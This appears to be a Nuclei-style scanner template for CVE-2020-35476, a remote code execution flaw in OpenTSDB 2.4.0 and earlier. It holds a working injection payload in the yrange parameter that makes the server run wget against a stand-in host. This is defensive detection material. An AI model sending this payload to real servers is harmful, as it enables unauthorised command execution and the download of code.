42 lines
1.2 KiB
YAML
42 lines
1.2 KiB
YAML
id: CVE-2020-35476
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info:
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name: OpenTSDB <= 2.4.0 - Remote Code Execution
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author: pikpikcu
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severity: critical
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description: "OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory."
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reference:
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- https://github.com/OpenTSDB/opentsdb/issues/2051
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- https://nvd.nist.gov/vuln/detail/CVE-2020-35476
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-35476
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cwe-id: CWE-78
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tags: cve,cve2020,opentsdb,rce
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://example.com%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- plotted
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- timing
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- cachehit
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part: body
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condition: and
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- type: word
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words:
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- application/json
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part: header
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# Enhanced by mp on 2022/04/28
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